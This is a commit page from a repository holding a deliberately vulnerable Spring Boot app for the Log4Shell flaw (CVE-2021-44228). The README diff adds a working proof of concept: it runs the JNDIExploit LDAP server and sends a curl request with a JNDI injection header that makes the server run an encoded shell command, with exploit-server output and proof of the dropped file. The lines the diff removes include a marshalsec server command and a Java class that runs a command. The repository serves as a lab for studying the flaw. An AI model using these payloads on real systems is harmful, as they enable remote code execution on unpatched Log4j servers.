borekon/log4shell-vulnerable-app
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

changed jdk version and added working exploit poc

Browse Source
This commit is contained in:
rayhan0x01 2021-12-11 00:51:09 +06:00
parent 4bd8413666
commit 080e9849fa
2 changed files with 38 additions and 48 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

2
Dockerfile
View File

@ -4,7 +4,7 @@ WORKDIR /home/gradle/src
RUN gradle bootJar --no-daemon RUN gradle bootJar --no-daemon
FROM openjdk:8u191-jdk-alpine FROM openjdk:8u181-jdk-alpine
EXPOSE 8080 EXPOSE 8080
RUN mkdir /app RUN mkdir /app
COPY --from=builder /home/gradle/src/build/libs/*.jar /app/spring-boot-application.jar COPY --from=builder /home/gradle/src/build/libs/*.jar /app/spring-boot-application.jar

84
README.md
View File

@ -2,7 +2,7 @@
This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed [Log4Shell](https://www.lunasec.io/docs/blog/log4j-zero-day/). This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed [Log4Shell](https://www.lunasec.io/docs/blog/log4j-zero-day/).
It uses Log4j 2.14.1 (through `spring-boot-starter-log4j2` 2.6.1) and the JDK 1.8.0_191. It uses Log4j 2.14.1 (through `spring-boot-starter-log4j2` 2.6.1) and the JDK 1.8.0_181.
![](./screenshot.png) ![](./screenshot.png)
@ -23,58 +23,48 @@ docker run -p 8080:8080 vulnerable-app
## Exploitation ## Exploitation
You can confirm the application is vulnerable by running: First, download JNDIExploit from [here](https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2). Run the jar to launch the exploit LDAP server from an IP that the application can reach:
```bash ```bash
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1/a}' java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <ldap-server-ip> -p <http-port>
```
Confirm the exploit by running:
```bash
curl <application-ip>:8080 -H 'X-Api-Version: ${jndi:ldap://<ldap-server-ip>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9vd25lZC50eHQ=}'
```
The base64 value decodes to `touch /tmp/owned.txt`.
You will see similar output from JNDIExploit like below:
```bash
root@2111:~/# java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <ldap-server-ip> -p 8888
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9vd25lZC50eHQ=
[+] Paylaod: command
[+] Command: touch /tmp/owned.txt
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9vd25lZC50eHQ= with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9vd25lZC50eHQ= redirecting to http://<ldap-server-ip>:8888/ExploitDRbp2Hes0L.class
[+] New HTTP Request From /127.0.0.1:34010 /ExploitDRbp2Hes0L.class
[+] Receive ClassRequest: ExploitDRbp2Hes0L.class
[+] Response Code: 200
``` ```
You will see the following stack trace in the application logs: Now check the `/tmp` folder inside the docker container and the text file `owned.txt` should be there:
```sh
root@2111:~/# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
efebc918d9cb vulnerable-app "java -jar /app/spri…" About a minute ago Up About a minute 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp vulnerable-app
root@2111:~/# docker exec -it efebc918d9cb ash
/ # ls /tmp
hsperfdata_root
owned.txt
tomcat-docbase.8080.2415120533529983821
tomcat.8080.1416539772670722454
``` ```
2021-12-10 12:43:13,416 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://127.0.0.1/a]. javax.naming.CommunicationException: 127.0.0.1:389 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]
at com.sun.jndi.ldap.Connection.<init>(Connection.java:238)
at com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137)
at com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1615)
at com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2749)
at com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:319)
at com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(ldapURLContextFactory.java:60)
at com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:202)
at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)
```
## Note
While this is enough to show the application is vulnerable, I do not have a full PoC yet. As explained in LunaSec's advisory, the exploitation steps should be:
* Use [MarshelSec](https://github.com/mbechler/marshalsec) to run a malicious LDAP server:
```
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-local-ip:8888/#Exploit"
```
* Generate `Exploit.class` as follows:
```
cat >> Exploit.java <<EOF
class Exploit {
static {
try { Runtime.getRuntime().exec("touch /pwned"); } catch(Exception e) {}
}
}
EOF
javac Exploit.java
```
* Make the file available: `python3 -m http.server --bind 0.0.0.0 8888`
* Trigger the exploit: `curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.143:1389}`
Unfortunately, I am experiencing the same issue with marshalsec as other people (see [marshalsec#20](https://github.com/mbechler/marshalsec/issues/20)) where the first-stage of the exploit is triggered, but the second stage is not.
That said, I believe the output above is enough to demonstrate the application is vulnerable, since (1) it connects to the LDAP server, and (2) it doesn't connect to the LDAP server when using a patched version of log4j.
## Reference ## Reference